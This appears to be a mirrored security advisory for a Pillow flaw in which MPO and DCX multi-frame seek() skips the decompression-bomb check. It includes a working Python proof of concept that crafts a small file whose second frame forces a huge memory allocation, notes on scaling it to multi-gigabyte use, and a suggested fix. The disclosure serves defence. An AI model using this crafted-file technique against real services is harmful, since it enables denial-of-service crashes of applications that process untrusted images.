Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)
Summary
Pillow's decompression-bomb protection (Image._decompression_bomb_check, gated by Image.MAX_IMAGE_PIXELS) is enforced only on the first frame, inside Image.open(). For multi-frame formats, seek() re-parses the target frame's header and resets self._size. GifImagePlugin and TiffImagePlugin re-run the bomb check on seek(), but MpoImageFile.seek() and DcxImageFile.seek() do not. A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).
Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).
Details
Image.open() → _open_core() runs _decompression_bomb_check(im.size) once, on the frame present at open time. Both vulnerable seek() methods re-parse a new frame and set a new self._size without re-checking:
PIL/MpoImagePlugin.py,MpoImageFile.seek(): callsJpegImagePlugin.JpegImageFile._open(self)(which setsself._sizefrom the frame's JPEG SOF) and rebuildsself.tile, with noImage._decompression_bomb_check(self.size).PIL/DcxImagePlugin.py,DcxImageFile.seek(): callsPcxImageFile._open(self)(which setsself._sizefrom the page's PCX header), with no check.
Confirmed present in 12.3.0 (latest release) and on main (13.0.0.dev0). Compare GifImagePlugin._seek and TiffImagePlugin, which call _decompression_bomb_check correctly on seek.
PoC
Self-contained; the victim uses default MAX_IMAGE_PIXELS:
import io
from PIL import Image
# attacker builds the file (guard disabled only to CREATE the oversized frame)
Image.MAX_IMAGE_PIXELS = None
small = Image.new("RGB", (8, 8))
big = Image.new("RGB", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold
buf = io.BytesIO()
small.save(buf, format="MPO", save_all=True, append_images=[big])
data = buf.getvalue() # ~3 MB
Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default
# victim (default limits)
im = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check
im.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug
im.load() # decodes the over-limit image, commits memory
print("loaded over-limit frame:", im.size)
Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):
| Vector | File size | Frame 1 | Peak RSS |
|---|---|---|---|
| MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB |
| DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB |
| Control: same image standalone | — | 196 Mpx | DecompressionBombError (correctly blocked) |
The DCX vector (0x3ADE68B1 magic + offset directory + two PCX pages) behaves identically via DcxImageFile.seek(). Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.
Impact
Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. seek() + load() is the normal way to iterate frames (e.g. PIL.ImageSequence.Iterator, thumbnailers, converters, 3D-photo handlers). Because MPO is auto-detected from a JPEG carrying MPF metadata, a file served with a .jpg extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.
Suggested fix
Re-run the check after seek() re-parses a frame, mirroring GIF/TIFF:
# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()
self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])]
Image._decompression_bomb_check(self.size) # add
self.__frame = frame
# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()
PcxImageFile._open(self)
Image._decompression_bomb_check(self.size) # add
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84
- https://nvd.nist.gov/vuln/detail/CVE-2026-96636
- https://github.com/python-pillow/Pillow/pull/10011
- https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-400, CWE-409- Platform
- Python (PyPI)
- Package
pillow- Disclosed
- 22.10.2026
- Updated
- 22.10.2026 19:17
Sources and licenses
OSV / GitHub Advisory Database - GHSA-p8hx-v2p6-rp84 - CC BY 4.0
Vulnerability history: pillow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 100
- First → latest
- 04.2014 10.2026
- Without a fix
- 0
- Exploited in attacks
- 1
Severity breakdown
- Critical 13
- High 58
- Medium 27
- Low 1
- Unrated 1
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 42
earlier: 12
-
Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.